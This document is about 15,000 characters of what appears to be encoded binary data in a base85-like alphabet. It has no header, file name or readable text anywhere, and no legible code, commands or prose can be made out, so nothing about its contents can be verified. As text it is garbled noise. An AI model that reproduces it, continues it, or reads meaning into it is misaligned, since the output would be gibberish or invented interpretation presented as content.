zYEc-`6D3`jS05D>G_bhT8H>JgnW?gPy{ifBI9<8WhEeip;kYkFsyTktwX?Q>ZFEjM zBOz{G!;wX+%+soK+lJB`fPVl%W8Yv3+{83h56#SkE`RyHjbG^?mGXI4eNKj~=2@b& zJzW*|0n5#v)E?;npc2zvhEvy$DF<2erXQ=1K>1XTAeAye*#k(&||H4djvJs13iCaeq4z+Nf6NKH{bh%F9e zuniJ>(1Ka|$&&fm1^OE9KAD0E@$pgf>QpSbK3Us;TcNhUU9eY+yaJ;L(V*vUU;A3^ zYj76N9~!22#`xT*QaL)--?1SURqubZ$6@+ZhtZl`>Cf{=Yt6n^ne6_iUkofPX_EVF@L=#WztSy68yAF}(z!@9Aw(+%nB zCSK;4^+xh8)a)LUnkP%iUI7F{S5nf=bcXHRuWRc&Ho=|A46TA|R*9bfi@P@gYwGIu z|D&|h)+%qyYZaN=Ql%9E0RbUEY#nGFpbpHFGRh=EfG~yF!73GqNRdGxt*DeS1!N3K zY()YBiHs3Kh{_NkBoRUqGM)3=N#FO@+V|e){_eg1|NlOJp2vX6H!J7tv-diC@2t;S zD`g6OwD*C^Swm#Y2jTrbzKK{j`5YmiM;Y4VwAm%*^j^-|%^994H#fIxoOZ__5)!wv zGeui1@Hgf*hOlVGGBSbl%g5g-d0$yYPT6iDvUcFfC6mzpMkAByE^YY9R948wn5K~2 z^7s6V0M?~apt{Y7o!gB8ZmP6EKmE$}VWY0#a{(;Z@wy|xeZIG!VkZ*oluY-;+k}J_ z3-2*6-~b@adTSjdAR&*r6L&Iz_Y%A#G+-Dp#socBX@dTM%XOM@Klz2 zt0Bjp`{Em9;`8nrqufek*fV2VpL2y|QS#mad^x8|7ef|Z*lQ7$o!WG_``Ll-Zg)HF z-Pw}#kU$y#J8)AwWiI7n_OZ*#r5fo&wscZo%9ie*#7M`yt(G3|OHn5*c%}plD&&v+11=zravN#BTv!XcDJa;&QESnXGy-GPIg%2 zeqP6_eVuu_^ZZs+>B8vcyE)nKREeLgtpzzIsc}jSEzSnbkp}7OyE)rt=1-|{%9ESY z&hq!|k z8+%Bc;^gn`4Z%!pV{%ps*4XLbe&3EAoZpw2f@Wnrzq)*1t8RI~)hH*Nu_yJxO`MkAEg#?rr!6&Ku4;wf!#5hJ`T=aY=mO5kGuG*iA{arzlP*WN_kj zce;!+7wp{6FV|j`@2=F7}*!gO)a7enX)IUc-1D%LEZ!RhoI5qQ|18$t1DAw z4B91bkkQSp7CFs4!Q#F1hV}Z6b~|&BcU2Ddna`NLu~bE?BBU?C@4Bdn0?%FME6TUF zOin#(5OU2e;q+3fOJ%?dVX+98ndn!VvN*T4kn7wlo1ht|eqOC>+Fkl^pm+L6EHz#? zf`)J5=eoNnJxUc%`+7S9T2sQK|qW++1Ps<%J(0ee|K<&MOtfy(E-#{f|I z!=VOcHfuWnbj8lHBDpF|@|$Ig5aSZfUuY07*yj@oj*%HdS;OIb3skM3K%uSmXrP9< zC0LX5$;JmyToMqBOq~M-PvR=&0%;Y!uQ2_S)g;R5zV;B)fO}`+d)7|aOYJeItEJ!V1Vkm;F+MCL zr2nRaS@^NCcWf#dxvz@~F^gTHfeAxP`!auBZpc_(abp+6_W4nvV;O4;lol=^D#a^| z;QlMm1`{BiU@0IfiHuw|QE8O?g#-l%&%(0ahy*0og3-%c?;<84tGrs zprXM&A@$iNL!vmf<45Ini|1;5NY zN>L{LGJNw&&A{~Y9}m!IqAHGUavY3nc)I3S?bjNo+>}f)Ab5WMO~-fkn|7Pq zv){F;99X)2+Vs5+Tw1BpZL)lk5=_4yYzlaHBZelnU>Q`nk#LFg<^p5Sy& zlMNjdH*L7}OXFnI;-ku$eD~m_zQuDcnTIMH-tyamHqF6T;0=v8x=(E<+)aCWnQ4*x zj%&`*?dN~JCF|`BqO>=0Y1MZx^>S>=p8VbHJ&UYEOG*D)P66Udn=&j^pmb#;j|LWQQ&F5l0m()(Ya*#J1S5>5-Y1+h*YweUtFoAuH&~ zn^s|uX7+`zo$cjcHnQ8@oQn>TmA+|Z)$F26Gb%{keEIF1W!)j}?QF{w)l&D|=DwTu zcRpx_sv1mfyRIDAd?c5FOqdxdvc*Oo+vc!$^RXl^`SOEG^DEO^-4^bhzcgkaJ^6w5 z-Ijpx`lN|_K32%lzEj->RY;dTUltr9#w-R(bQFgVBd~+Xofa+B{z4$<4=a}X)wl9 zJNI^V=u-`XaP!etxTP-dJvg80Ft4ucs^N`*s~7`5+s?4l}bLM(OMO+CKm8(zJU=Kg5X zB`LYqw{cJSF*osK1LhE>Dj%yJ9mcIA1nGHajdkx zFT^LRc)_ZX6`4GJ-HqoNgB{);5!w=v*109NFJOG1<=xgChiK^eW<391XJ@SMyyR}` z0^j6_-fdupt5cH`XL5_6lmue)ch;?fqy`M#Xq{P6DVPYUW-#>v=s z2^sfnT$Cw6D}i~8sj2IW(;s|cZ0Vnn@l|Zg-f;J_>ls1UnT*?!R<@(73vT`F@&)nd z)b8svx0}Z15dO7ot7R#Qx>j1J51O>w*)7vla74^bucGs+1Hv4aPADzVR0i%ZR}Hp=}ceJ44Dkv6kjkm$H)(J0+bJYg|V#c%vjoEBLXsYn{= zZnDH5k2rs1eB05xxkqx7wmAmJ3}FTi73Ryy=OX2{fs5kd>mc3FH$*Fhyk4EXXAW&g z18C^rKem)qlbxx{@zu*6yPVwwPa=F4v*M?>Uq4)GgQ<$u+RyfD2uw>@+FX`0P#An%^yZ#(wSf}`$2V@J{pPT-BL3NR z?}mF1lh<9eJF0&Z>}-_u)w@wPXu!&}t}g*tS$O_cu(H0P0hAy7^q*j5mUjesHMg`RKlY-=slqfoU{G1g{dL-ZS9O#hKlR1c(;Z5IH{)boQJ|-9(7A^Y z#TkUZzP$vB`IhfOhPTr^8kI_`^lDvDs#6&D_6-fC2;zaE9kA7Px)OZolo|~#}yuJT6U{G!t94&W-elU{YdbCsK0)JJ^gDc~w`RA0bV&ZcxEpo5!hy@D3IqUaR@ zp$7egqaG@a`cWPGUoj13adQ?a72Cv9y*6$(lJEZbSR9{lCxsdTBNP}WR zrc`Y+Ho@okfzxT6U>d(5E#nStdvX%%@4l_UOfC^!HT{m6Gd}G77&WY?6^%>ua=au@ zR@Wd--1x5}i0|KbschdO{}$9-|BS%h1OlRm0?LZuc7Ro~>!vmh71DUo!b+dx8mw|v znW@m)Fp%;`=>EPGq}7p+DU-p4X-<_#XuFz~zD!eTyg0)R1QV0uI-@KK>Vw)h{2X2j za+BnEa6HfXF>7je=~YgG5L6Hd?h7DA1MdcwHVCw=PYSLQ9&Jy(pOE8u+;pr_jW*8d z_Stql1=N*Gndd-kvjAg(@iXV$RRgez!FLp!YJ8}{&L?70L8;zp-Sk_!N5#Q)eatNI z;bzXp!50z%xaGNv;JyR^Tzi~%jO-GHt8R?oW}2BJr#+63spqbg(blUW#$eSA)~Pb@ zFBqd}4VDQ4*-03ehA~lDbn&TL$=X3KQfog5GY5rMrJz7Cr~Ufj-5dZ_YE|i~t3Tfd zr9TNYbu>B6R5JP!c^bbbDOfHe8m%7Eo#vZ>-t)Eq2r#%;t4P%Fw zuCmsFF!>Syzp25wrth)cf$qcuaTcvZyp6G~<^Dv9<9Tw>RV@`vPIGo8VBb{3er#D& z)no3i#jbkn;SqHcH*Ij5?zF>!luy1llC@Ps+1o8F{*G>7RYDk`WSKC{#{ zHIJVH7$u0dRPaCmEBfzI9Y=_k64_NSgchL!L8V2@5{MU`;CjRu?g}{H9(y{bG$G`4 z6Wno~|7D-3E*bj>iy}1!Q6{CWL;O>GUgz~#jv-7*3vT}=66dTYLG6+kyMj?$cNIU_ zW$#r8x20tVec@iftBoSW-QflCna!&wZ2|t6e7cU&IzcfTZEx<+_Y|q>=A?MvKyHCW zMR{Lc^MjgHm2@utA;2Kw0AI^wG^Al%y`*Fh(&S0pSjEOi1EYya;1UVrFiFAWTvqKJ zM$G~#&A{eyL4EBU=BKFEqqcqgM^qG|Y~LQx3e~zKNBl6;vB3yDo7CJ7;+cUzAv-n% zqQ4f)rGCA3!+>4{d@Z1HnbvGFr#-NbA7w9|Rnf`gSzH2OkJmXNs^yU#~(RJw|dDC)NUPG}v7EAIz!`|7K!mFkiwKX;r;dFz*0O|KYKmmgOX zo2K}(MZT2B#}kB;`Gl|X0&?A6JF^E9+|tnT;EcMzGcZP1%Dm6t922#JfuHz%9sBN$ z)Q+zJQhT$^dqMG`G}Lr#np^^g44MY;ktf2*O|&HO1=F!;mxd?YJAY>d`A4A=+Esnd zGAL`-@%O&au~M8~kUc!g-~%%4vAqN-rOCR2oyWGKIPE2jkWZLCqb{5yOzH%Yq!4*m zmk~i6Kd_9IgI-prxC&|?*Thx`pbYMjxi4#qb?U<08jT3~fD?NRBAPA0v7IV=GRnx| zMVEQwXOm|;(lW{kZm;b(-Q4L`E542rjt7)^*N1haQ_T-@T0$i zDZqcskM04)#6(MVi-sSCm%0Sk1;0dT_|dnO|4aB$DR8T?9p;QZnTDlJo6OXxuj9E&1%x}E07nYPo3&xp9{zm z0!EK!ICLeH6;Z&g6}(N>D18MV{T1M&!dLOpZvZ|@CaCezZIdtIqi<8(c8m4YfcKdT zfURopQaT(`Pia#a7)k1G@No@e{GY)1+~8(9XB_7pg+lM>v;*Dg2}bdAiCceQ0#`R$ zJwdss0(ZmD!BpB1Oe@yq!jIxSO=|_HS)mRuz&=tf5s0@fz=^+# zV{W*yq;BtPoUC!_S@i+TV1k39)vW>;+6K#J4fp9+_QcCqGfg17Ep62Bq4IE3NwNkb zrLeNdE|uwu1O>Hr=9MwR1>3W z?DOYv+&ysAKU%)Rx4wGBe|q`f+~t2MyV5@q+W+t)z<$H8PqH*{sQTd>-YwmLG~SRt zb?Y6=y1F{&^S_welVa3tX(6OScTBh~9Yy~n_OC2Y%LLmC5TL&d49d~|hLkNjc*gCnMB!^d(uw^+!UG_QkEvvgQGPFY(=aPU+?^m7wJo4@_C395^pkEn zRX4!j-(MbWws5fQ2}tQwkCvyI3WAtp*LnUw>yi}WTe^zFrtjhE4*8H}@TNT}K<7Q+ z9Ux2fjB*&K?6Ob(>27th-wfl~7KJRJCE8D?rzf|-32(>82`8_DLFTE5+f~u9!-Jz&Epwm#=6`b1?<^Ob(lR%HhOzg~tkfHZC!E7R7iAK2~#Ew<&?NXL#R3 zzlIKa?9xa@F;Tz9sC8QUOEcOuTsS zw4z2lViSkr6NG*X*1LQHtE}E)j~SME^I>+gQov3xd*b~x!uJ`kVCWk3o(L!+bG!X z1prh*SCn)svm>r;48XEg*gLvrDmFimsDWM;9Z=i=0?FmBn)`=weM=4^jz}p2^Oi-K}|{BcS~#N3 zrYNDTJA&c#GH+SLXX@48WO}Su1_eDO>rrqRcSR1pqtb|Fu;Kw=B{l02_Z_q1!q?_? zgaq$_^pBFo&f677OeMFc#)XsKqp7>aQ^HcD&*$$ zUXKR(bY7(Hc4;N5lO3Rjj|^Z}$1=H-3J-Z8a+H4RMkc|4z^c?8&{_{Vx}?sn_V%S+ zdNmV=cPG0Xo#jpXjz&0n4fhwE&yVV^yN5iQ6zr}}r=f23DT5mO8^Z)z-CPPIO}$Ru zZ<-uuD%tX9zv1*dHA?t{8kMT4Q7^}a6*V==<++<~R{lKT;HW8MO;s$vK@(K9dp zNsUJFyH=S9#5ERhw%53@ma^r1_wF~o|5wy#*1t=QIw8K-ME8PNT2Q206Ht5TrEuLD zbwKUxs{yt6^*{-#ackt>FUe=s^0~jtffAJ6*2tq@lFzB-+`r0!64ck$$Z;>pxoY|R zt8x>>Zgq68`76=A`1Qa5sIRTDa{VPM^J*&#e^}}IM@TVHfK3u^h|U*$jv zDrRfsZ7<0e)pFinR$6NI_?lq~*qN~kwGKsDy8h}Yl!9lZKk z%S-w10X3jZ&%gZnm(k__K?M81Gy&p|$X8yH^VM>}AM);h z_&uNmCGOSoPhNjXE>O#bf0Y9zsAaE_>%Alws^u?Um75?e)Q-&ZPmW9ttN{a{mc7Qx z?w72*P+M7k)e3$+P=ccM8ae7E`LbHR@>e-fg38$%`Kg!WD{8suuX3OSm9sVS@R#Hw zwS4std5@;SOc0jpQ`+;FQvwD+L2Zqd)R(NRs;!7$wSr#{l%SxtMxOnWT&$K${wfDb zP&r#8|M4ZcL@k&8RSuM(a<)d^^paevman}kH$m)CpOV#|PU-hzZ#jt9KT_XrCjPD1 zo0X>6TN2~v^pE3p-ncl4(E3~;!@u@)ZvXiF^R|)vS)-3I_n&N&$G2(u7~D*2e4u?b z9jaKDAsL!*zCCf&UHbNSFMgffoFO^6!x?`AmBQ9SSj;ZGW&TDk7#-(d;gWJ*9UVXC z+jbP%gsX8*7euaRbbzx2RlhZ-+Wpe0uBlH|_Q$C{`bT#MN>KG%BOiZBE>p|pf0Y9z zC_ku?^Iww7)pEsOizB78;XgyS zpa_tk+N9PfYB`E=RHbKL@O7lh`T4D+LAhu1@}7`iUaS;x$J(4$zns3hr)4Gh`K?LL z%tPzt=d&Ir{iG}I2XW!g9xlF%6kdV6pWk9Or!77^Dzr}s-=KHCsBX@jB z4yonvAM*Zx^eCVN^%*tt<1fi!wH&ea+WKCEx-0zccex3|T7AuJ{&daN9uXJ-Wg9hC z&b(v=u@zWZ_o@~AdY}Yl8#VI8m*nfz^7Vg}10^VZsF7cONxoh!*ZQj*C_(8%jlAR~ zxt3b~+8=VdrUgt8HtJK_`=?Vvy}A7(1R@Xd`u_DN*QHGG*_+<2aJ+8urLeJeAF0+} z*UFhV!Q3Cd>-F{YtogP83lLQ1YP{YIR)RDlh>Mm41{a2;(rAuQ#(^O|hlrzaP`Cm- zO3IXefA7#!G_}xJ1`(br4o^&5^zr?vj~yYh zl!|P0Vmoo|$|f=S!`KGV6ysCmX*t3DfWFHPIMhWblo~;#irDRJ{B}^`sK=U6!OMS> zkQ(`39`0gIeUk+pMfiNfLO<#&DK1$~VDyO?Tc+P4+=W&zydD2S73)L%DQDLB>96r~ zuzZLCa2#VIj>C|rsTfRbJ&H3v%@av(h(w%B4r(F=#)UQ-%eXHTPzvWf^0gJl7zP^O ztdE_Fh;T?}tuZ5@sLKOFQd9Z3c-%L+g~;(Ote{@K#~_r&HmB=|m=QZA3^rfPL)&); z!7lHier2#bi2?1}MQfBktboXKc$z1Rs0mVzW0pE08)=56Wur1DJ|FgOB}#Gc64KYO zxX_D??v>xBk@~W_>sr>+sKJa2t61rc{9bdyHwNC@xo-#<>4f%nW2nb~P}aYK?{CQS zYRSD!mME9R&-_%MYr!U;Cf zzO%xZlD$x5q`#OHhl6Y^+{5Vm^fiVl8iJePV}kiL_hbc~jv5y)8n{k8x{hKs@nqm~ zy?8TQ`#YCbv(}|-zN**BzPS)5SvfgVR5eHF=e|c6)(X6VYgy?&42>&PUaRuN=+ep^ z@JHPTa#xPc%2)F<>Z~CX_%#&K3eNbRanLv{F9CAcCy;cPez)Sz+~zjNIebG;W@z?4 z{E_JJs*IbPF)C~SDgGy8-g^+4xn4@G??J9f1O`m!y!BftStwY}q-Ltz z`#{1#9Yh&-k{X0eH>_7q&hw}f{2aw2eF}F=UmgxYcc{cslan^LpMo5shLNj&#Ysz# zXa&bE%wh^~h#7*O>b}Rc+h9^!0_5X-xd*kP^Fq+S!gFd%%AD*VBqb7fLMjUh9~KnG zVw3m6p;YFW<3W`4=bV-s=zG}}l$sT6lj6aNpqoB~3Kvp`@nO+@LlmaQdDi%1ig7cO z>6*|p=zWN`V&d@ZV^kYElqeG;nHTTu_n!3!r9p&H~f(i&(l5VCryK3WzvLCi^ zW$kDp&lq2vOiejV9WKBfRunzr3RJBXDCdr3;da)x2=YiL zVL`tf&F*BD;XIAug(o@{yeCO;>vZOPHvdBy(N$m3#Q4>S4A*iAO%9`5QP2jQjvTjlQhZLe&0%gCLS#dvN#4tTEy# zg9vXCF*p>Cl-FEGt+7C@q|Kn$UA)XCJYQpYmiH=C<1$PY+#uP`>#d>hBT~*nvKbog zLt>87fuyW!_=y~E3JxZ)6!+FN%50YKd3kTP%{s)2`$vkzIl|IPYj^tLm3I*@zE$>Pq@VK%3gHm)`sCC~)#E4R%?cmy#vZ)eWzxL+)Cs29q_J6B$ zUpDhQ#O03r;+Irc`xP}w1J+4rq;uhu)eCu5TKeOZyxGK&eEy`nwM=Hs6w5@;xNwROP!OhiZ6C(9YVj4=*D$) z)_5rTnpPNr0nDaW=G2lc>^QEokwXjkDvXOPu2;`HgI z3NSM&KTdR90N%x(b$)!-b>it#TH`pEj7(UXr)nWmK0B=ads8Bw!mJY9Ty=znBMKv# zObGx*<_MEwgBQD4t?A|cTO_0=>4Rd9qB_kClR8(^SU$JpFWNWjqxd{LNKa)bsa8lo z*Dr0LRER9gigDp1mdFy_ACd4uTp_pvN&HqA9^9H5No&8nzh041DgG4l;jd+!f~w}e zC2mg1i(Y4CNK`jzSf2uVJ)$dO@!saePHyn)c zlH;<=P2IR%q7U$a!Xzoa7=@X+x!C!21>YHY`Lv{x%ze}-`aG_T{z%(v zHm3*!#I zpp_BfP*x^23R;j)jY4;(*Bq<8kS8(wvw9AC@G?r3E@oU!y~Ir8XXlUyQ1ue7@kp_0XoVn z2Tm+?cNMzUp!+?FKOqs|#dO!je0qw&%GWf}43(Y1SrnoCh!}QU&B%$m+{iF_*4sSSpYue@KjL z=FCf-LkucI>PPDxi;83Y#^=%%8Mh^0tcnL!b&UgNvGxgX9~z4&n7&2I1@4rg2WOR< z)QI2dSlr!Tty3Q0mJH46CGBVw=aCjCA{M_$8jV=0X4?5~y+xW5^eEG9#+ru83sjZU zPS;YQIy831I7PC?_#6&ez&A24REP~)>Fm)|w(DZ7`jYV8I$fwsrqDB)gUWm#TGNU< z2%B4)zNL^6@>Er#w)vjc@fht%j4~n_(sRZnOIQ(OTl)f=h}UtB1Xtfr;MzUVsmOdi z+QTEVN+6%2n6NgcL_m7ITLSvBRtH_Do$|Ol4=VdgdKQwOw={Gor^#+YH1|_j7OPI8VnZ&kon*IbB7}-o4s$U_l+(Szm$@)$zCXY^Bs}O}B9Q&k0*~EQNMb}Okf%1d}bvGSIWf5Z^ z)U~k2(lD*=Vp2|wG%tQaz-&q~3oqBsoqOMKoI#Qh=(C}C@)4vLzIRblT}qSG?{MTj z309hxL_5y;<@yJC%~AXOzljiC2w z(v$sOMe1%jr$00EA^G-FT5`EIy@zFz+F`w!HF~}iqvZB0(TV5zbg$yH9}1)q@?Vdf zPxmz(0`AW>bACclk@UUL4$8-FCarLe1WfCN{17qo|$95EeeiCBdsJ0}~7N&(pVRTu{@QeIPPvGY?Bkud8uk{t}GrDBLU+Dy*qnim)z^AiJN@ z&W=$#`^A9L@s0A_{g z{yFl*5yPo^RZFx&uKEOwU+%}+hXM&$zI_6!G9<8hP+aOEy%3tYV6(WPoXoBfMMZF* z8I%!`6LuydT(S|>P!a1D@U%GTvl>NCyh)pIjWN}H;Vz+QROftvC~1~Jo+X^H-vcK0 zNg+f>LQn%+I)$=s29SmK3-<4)FYuv_JV;HV5=53=_oyH5+ z9bPm`Vt&zyh8CU(BJgk`F^HQo?bC;M@=FPWsvwmI zY0>CZLZd2DJoVXZF;gI}EfqG3_mdXM$#e9k*7VzK$Hj7tvo=d+5Eq8)fii!RXZR)_ zJ2#feYA__G8U9$p^V|m}Cg9d&$YW}Yg(!FB%%DO9N-U zx--0JMP}>k57V3Rk~D5I!$9aululM1KU;==-Xr9AA#tdm!bkMD&rDmg_3N@P!7GB3mfWrnu+D zB9kOj*SR+xPK7hWrS%c&#pE)fK2>Zc-qh6RASwlGunVpMJ$dOmqmG-4mHFcq<1*tWR;vvh z+QI}k1d?E}7P#xEuF`gP4h&|EHY<$JajXCWx#GC1=(lW9O0&h`B!enn>h6wG8!%(q zx4kOvW}Wc~0A~Jxvu-}?Nj2RG-zR~oxoX-&7O~fuVhj8GP;C7{>*7`R zEW})r2;dPBa0aKKTTogHzg`_V40Co3G4eYaMWauz51RX2#ehD!{P#`{R!ysre4Ez?I-~n%XKC48$c#jh6SLe9F8m*)) zzacNnTP_{sed-;LN}Z-G?t5K*+5dx|lu8t?csUbsvA#b+-1s3ZU=-Hj6hf4c3`P6+ z^$C3mgLXXn6<3~&#~2rq#86&~pl7ZoR8TWkQR8fbqf=ZIYp?G!gHOZf_i_!$IHHhV zJ3J^)%#@DHxJ*oM3(i(2T=B42fo;*D%GYj=mKUo&NQ?0-HcjJCvX|{ZWN^~`99+0BBK>>y<{navUAC*_zv)LiT}TzN)L+eyw)QtrMQ3b#O3*^wJ}&VCxDqK))pYtsTt zY#GdKvG56o(NVwj$aIdM5eW5;fnA5do?KQ8-_k_d7*^8~cVdoX{_$$}E*BoEfdaz#bG zV|4_W2FgtQTFuk_BUp6`>2d@SM_YD8(sIFWQ?Y4!z)rZI9JpA5zf(c?Vv20o*r;Zg z7+ZMB+*DC|QsR_$nuDHk=$>B_oy$%0CFPWBS8!Q^)Z)X`xa4dTkuo_vJ!#39EfiKq zIHNm>3Z;`=iIyg{$#8Aaf^S-vL|#hzlLmnzIm{UGv%h7ZF6eQcGP$?e#cA!Qbnf$F zMqd4@!9+GkPE>YswurwQ2_f5Q^?D*`+=t_$(?kifD+X#;2%Vc`5r>^8O=k&o@l7%7 zoJ{*i*dRk%l5c`e3l;UgCBlZSxMSEKioLnqtupQRlLM$nAfE=x%%FGAFgG1l64#1k z9Grqz9b3vopXM02ny|J#Js;v+pnPo09rL6jnBP0CPGwt8}WNA8nyZmk|HXdu^)eQ*!XkD~;n~WZS3PPS zb6$6bzg!ySOpD3fS5rQBj_MOhC3hB8dEH#NO5z<4P4EqKpi+iU@ut@QB6-3%N6wCc zdY#;_*KtY=xnLuIeDZoEJUHtgK)ZAU=$v|Vwh-E~}eXgL{Y1|vGnw899usXmL69PR>V{P3)US62k~{OG+GN0+lrv2lo}SiK&x%kQm-dG6qc zI1}D-1!6CWmyywkr{62lv+|+{9mLuwoI8ff8JV4Yw6SS!>&b|9h<%Ic6)MI2HriBz zBM)8G^d{n9!WXt%JyzUzcpao&%m&+v?mehc;hfAE@uSV+~!@VTAV@!n1#W0hQIK-;G0DtmG2vc0UIPupe4h zSR&4_l@)=ee|*4&2zIk|#|;$EC!7(dg($L? zXlKv{_em>^9-d))$X-PvcMn7JggXXyK`IPXMw3D+;$p?y@vHI^Mps-0(rkyQT>dNZbNdYC zlS?3{?=66=5(r^qLa+^Ko|n9>sx>K*I3T3vO4aZ3(K{zheOi~fx|D8WqB?VrBWz<9 z`UHt!0~jd|T=(M`z67s>NIAM;yP^F*w{pwtc$r^vg*S;Ac9KPILIjH79IdE_{Ou9_ zk5Ca1J*qpQV+?+TW1Wawt)lX@FSgDQMs1jbRPwE<`Fw8DYfs0Ecb?K&^~xOgbGyx$ ztlshtpNm|qF&Y>wYQH>uBFJ_{eu4ygY0DUIn3sllpw7uT6DzAw zZXJjmPx~-{|79<^V0J0&iRnnv>rdN5P!&lZ?vimymPlVhz0(f^-xPyU%oviB*~^YpE#-#0SUN)1U=9y< z`#IX#xvbEYiO-?pyi^HPr_|bi+tMk`*_wW`>ZYC#{e=10(zc_w4R)P&|8@ zg}SaE0a*-y;j+hc*n?(MzDizqQ5yC>Q}KJ(38|+rpSPbvJnfaygt_YwGFm4ZaX;1J zBS+(-5vnhfK#Ad+Mt3_@;)o7g-n!_v9s#B#WdC;zwX7j6gcI2FN3ldG#C=`ReO1JY zrDxJ0#C})Je5+v7NZD(D45I%B{(Aa0&ilHvE@CH_0Lz3_n6~3Am!#qsBQAUfRjrPe zrGC;;8zk(jX8?>5T6Zx?{SJ|-|2Ai6OydA0_XBRtduLpWi;Sjdr-wn(RiEA zmQ*tMZbrnIT01FD2a*@rN>L3CKX+|@AHAQ8vzAi9y(!SGI@bog_zT#a8}z1+wSkIB zvSXPL_ngx?p`rtR9l>~nN{3M;#)5KO2f^w(4sk{WT(a@%y=7x574eiUGhK0dF{MC# z#ld0MOPSw`Hl3$Hkr`8d;82@a7&Ikg4!7ar)>-2bc)bOZ7-hvLss^D6{@|{vPfQHr(I=ejG+o3D0uMY2kcno`_qPdv!_JPCpOFz~Y}(s6i;A z6ebkCE*ODbtS`$D}v`aI(B51`U;bZ4uhH0i{CmMxQ ze_hy`C(bSTK> z&cIA)A_y9UBskDpO|cRDIL$MPX!ZY_sX#ap^ymM$pNHM!RG+e-%Wwk+OvKnN>{=D>k`jHHKR6D7Z#-$8p%Sqe9=8iFWkM^AGzC2B6E0Kg8emAf;QlDmoo?K_ z=pXT!j0#x;Ct1flZMd}r*C-k?7}yb1W+@*N2W?+*PtL5am+ieJy5n?5g`Ye1eGD-V zy6b2;?!lU^R#AP4i%YVv!=VCDI3zIOE)wI4>ixIt{QC zzbUJ%;oycK2e)^Z2!{{9;XX3j_k{mFmmIk&K@I1 zE6)lI%E#dfnzw|Mvzto?Ydrd3gsO>&E%qmkh#06jqpRh(!xFeBX`+~cVhHe_=}^0< zbM=Y{@35&Ex17#)fuF$5@B{ot1yw~YF=<9kpit0{s#LUs1Ra8W9>7{}Z~w{A@{Q{V zZ-b*}chmn=zaj7U;IB9SS@!0`{m)LfTWD|cS4aHqM_kuLe}TZH4I41hYIG8QJy34g(5aFC`jY&0wS2>0IuEYPs3wm*j7%+Osw8A$@$wGZ@#wvwJW8+p2@E`n0UrpKRf>ZFT1-t8*|7{ikiuG-GTah zdOv^TwT}_c;q%fmWCxm?EX^{+1&GZe&+o&^R~G~v72zZJg%12aPKv>q5)_l%nK)Py zcL0*XN*nb=>hu+yl7=%l*ko$wg5mI`>gV=fI>)`b$^Gp>DtD~zgRNyr>fI`!{7&1B z6#O*nSB_sCmMp7PnEo1Hh0h6;cNiabOSt<`hefK@Pm!^o)Eczv9mD6 z{H|Nc2N89skS~4X{S%>r1b&!TuS}o5{e|2?-)_?_F}dmHu%qoFS~2WQn#Fod%zkhb z9Js4yGrww6c1p1ew~82LqZ02?%FRtav*wI2u;dv>PZq_mkX@-} zUZt2~+fN-oO&f^p3-P+@zxPqOuj4?Zc4=o+EDraOMWlMry)kmc-Q7!h5AG62gL|I2 z_EnjdTYp@a97B0(AsdJmei5Qb6sE6KxC-9pu5?@$A=&+&o*Ihys*!m zGj8Yt@~jgjo$MEvUcl+7lurfi-12L6n9MJ}d)wg_On$r$quifc(sI(Sp1MCdvymvc znI5SBqFraI?f7PwMBg@!tHLRM;L3yBH4y>9E?V0cmQvx$gy~K8j}D+xb|@8fT#JHo z+sg0UI^tthMHbF*CnSt@n)PpA`ub|v|6%V#(D5;82K;{Ir zf;a#X0g<_75Se8N5T;mbwE+PYnI%y`K)^)i8Ege2V`K~vAV`1!Aq)v&3L)P<(f(im z_I>}~_rK3~?|trbzdTQdbI$MVv-etSueJ8xD{FW5Z{O5u6OwG>KlI$UZ=CmL_GrzJ zXnjAoIdJKYV7)bP_FYT-^+Xp)K?j3CDd1*aXY+)Z)yEdk%Y7lyMD3o^+E8vulr3P*^7?7K-5s<1R zHAV!p&6{OHzm*AFc({-^{jm51S_*KIWwXlsA(tMGeHOZIfA8(9T?UO^M+5JXt3_Gv z&eK)A)kEHIAG~p@d$kL5H|Ej)LgSa(BO%l~qM=hO`z-wiBe{K9GEG}$rnjT!c|_eZ zk>8mEo24}_W*S?{$E;y$5z^Y>kMgE8HI>L&FKcs-Dc)S9?D-C(;h* z-&q@b6Ent4rjhIdZVw2mC7q}>!7a0~F+-2JuS}TEn3qr5dV}mmfpm_ya7s8?wa`xSWYmi0 zg<}QYvz6Q~ltsx&UN*OKt;YTiSvWEi>HMbR#3;u~S~r;2m#o4#ShL>0r2bY>=XWao z7$Pr$625-UUb9w~id-^Y7R?f?P1L-kY_1~+HYnn_^P z+Ut&UM8d~U@~?+ERBwdc;;LNlx`CZIQEmK0HcOJ_C9UW_uY5t&fL02<-nPUntdaYz7um}VV*={(@=FWlwiFX zBv^k760DCdll{HSsLUJ*y2eTRg&8-mpwa{(_9>s{Rvj_vc;oEtXz zIjJ>K3B9+CfRMDom@W^IJY(Kw7OFKSTgp1M+@?#6LHX79Pk{XDJ2ZMO)!I-gvRltJ z_bGa9ZN^RhuB2R9Xke_(A*|05Znnk!x~T5qV1d(8AM{~7T|y9+t1AppIHJFzwJf^2 z@X}&f#U(ZWfSqsOWJVJ2%h$$+^fU#A*PhiG6h;hyN&FQL#=V01L|Lca&HDikLqTN&aF^GGAct-kxSu&C%k2J4X=|2m9txR?5{Xo6Tt3P4&fe2>c;v`P_^wD z$5r;eoKlQM2UN?a^pIi|!z!iS*JC;p-d@NxzL;kX6u;NG7^GEAu*ky6lY{lT^uYLm zonOCi&#}XzwerOxdYX>4SVU%yHUklfw6Hso8&8rt{WUtT6l7Ot4B5mS^-2f~T&UkI z=uZKnF*8`{Y`%2SvL>hx5{=$jMqSO@puI&GPDq&EFX){6i#~zgHVS zG-QX(Uiz+Fv}o@8_Gi=4JKd7}kdY!kQQ`OjnL9X!uKVLq7r~5>pyBrvVVs1t4|ccP zA3QQwfe650?yW${)tf+a^&jm*7MnI;J*UZ7dL{FyW}#!E6n47)J!5u_d%s_2=i~RX z2F=N2TG-6l~(&Qo8St?$DT4YW{7U>&kwh)&^9@D zRJlLq1vEO6@6PIeJ?@zCWO-Odfb#K3QPv)xa4i^nm^DVL6{S~kn{v7BHDT|)lQ!){ zUW`w@X|TLP!`v${uYI}1yVo@L>P=S0Ke@`M|rmCcx&?Udpq}Exx~Ai)XUm~TfLqj<^MKu4hizASBUef zH-fzCCqQ2HTOhCcRZFGm%bLM!r^-QI^-+*l-5ScP{+;5p;E$FPlpzP{}_vq*7SL|zPF9@nAA3-gO++iY>lbynZ>`M7(I%e z34K9@$HYGaV$wnSg|N>&++E!(t~$)KLve`|E9-_$DIPvBR%N?(bI?L2S?$WXE^hw( 